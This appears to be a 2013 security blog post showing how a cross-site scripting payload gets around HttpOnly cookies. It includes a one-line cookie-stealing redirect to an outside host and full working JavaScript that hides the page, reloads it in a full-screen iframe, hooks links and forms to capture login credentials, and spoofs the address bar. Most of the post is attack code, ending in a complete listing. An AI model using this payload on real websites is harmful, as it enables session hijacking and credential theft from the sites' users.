The XSS who watched me

June 06, 2013

A common XSS based attack involves stealing users authenticated session cookies. This can be achieved by exploiting an XSS vector and injecting code, using a method such as:

location.href = "http://www.example.com/s.php?cookie=" + document.cookie;

One protection mechanism to help mitigate this attack involves setting any authentication cookies as HttpOnly.

setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);

A workaround for this protection mechanism involves stealing user credentials as they login - before the session cookie is in place. This can be achieved by subtly hooking the XSS vulnerable page inside an attacker controlled iframe and logging user events on the fly.

Since we will be using jQuery to achieve this, we need to ensure the library is available, a simple trick is to first check if jQuery is already defined, if isn’t we append it to the page and busy wait until the library has initialised:

function poll() {
    if (typeof(jQuery) !== 'undefined') {
        clearInterval(interval);
        poison();
    }
}
if (typeof(jQuery) == 'undefined') {
    var s = document.createElement('script');
    s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'code.jquery.com/jquery-latest.min.js';
    document.head.appendChild(s);
    var interval = setInterval(poll, 50); 
} else {
    poison();
}

In this demonstration, for simplicity we will log to the browser console:

var d = new Date();
function log(m){
    var s = d; 	
    for(i in m){s += "\n" + i + ":" + m[i] + " ";} 		
    console.log(s);
}

Our first step is to poison the page, so we can start logging user actions. This is achieved by:

  • Checking we haven’t already poisoned the page - we only want to do this once
  • Hide the original page content
  • Inject a full screen iframe over the current page
  • Load the original page content inside our iframe - now under our control
function posion() {
    if (self == top){
        $('body').children().hide();
        log({"Hooked":document.URL});
        $('<iframe id="xss">').attr('src', document.URL).css({
            "position":"fixed", "top":"0px", "left":"0px", "bottom":"0px", "right":"0px", "width":"100%", "height":"100%", "border":"none", "margin":"0", "padding":"0", "overflow":"hidden", "z-index":"999999"
        }).appendTo('body').load(function(){ 
            hook(); 
        });
    }
}

Once we control the page we can bind events such as links and forms to track user actions across the site:

function hook(){
    $('#xss').contents().find('a').bind('click', function() {
        log({"Event":"Link", "Current":document.URL, "Target":$(this).attr('href')});
        spoof($(this).attr('href'));
    });
    $('#xss').contents().find('form').bind('submit', function() {
        var l = {"Event":"Form", "Current":document.URL, "Target":$(this).attr('action')};
        $.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
        log(l);
        spoof($(this).attr('action'));
    });
}

Since we hooked the page and the user is now browsing inside our injected iframe, we also need to spoof normal browsing behaviour by changing the current url as a user navigates:

function spoof(k){
    window.history.pushState({}, "", k);
}

A demonstration of the code in action, tracking user navigation across a site and stealing login details via a form can be seen below:

/assets/images/xss-who-watched-me-1024x191.jpg

A full code listing can be found below:

(function() {
	var d = new Date();
	function log(m){
		var s = d; 								  						
		for(i in m){ s += "\n" + i + ":" + m[i] + " ";	} 			
		console.log(s);
	}
	function spoof(k){
		window.history.pushState({}, "", k);							
	}
	function hook(){
		$('#xss').contents().find('a').bind('click', function() {		
			log({"Event":"Link", "Current":document.URL, "Target":$(this).attr('href')});
			spoof($(this).attr('href'));
		});
		$('#xss').contents().find('form').bind('submit', function() {	
			var l = {"Event":"Form", "Current":document.URL, "Target":$(this).attr('action')};
			$.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
			log(l);
			spoof($(this).attr('action'));
		});
	}
	function poison() {
		if (self == top){											
			$('body').children().hide();						
			log({"Hooked":document.URL});
			$('<iframe id="xss">').attr('src', document.URL).css({
				"position":"fixed", "top":"0px", "left":"0px", "bottom":"0px", "right":"0px", "width":"100%", "height":"100%", "border":"none", "margin":"0", "padding":"0", "overflow":"hidden", "z-index":"999999"
			}).appendTo('body').load(function(){ 				
				hook();												
			});
		}
	}
	function poll() {
		if (typeof(jQuery) !== 'undefined') {
			clearInterval(interval);
			poison();
		}
	}
        if (typeof(jQuery) == 'undefined') {	
                var s = document.createElement('script');
                s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'code.jquery.com/jquery-latest.min.js';
                document.head.appendChild(s);
                var interval = setInterval(poll, 50); 
        } else {
                poison();
        }
})();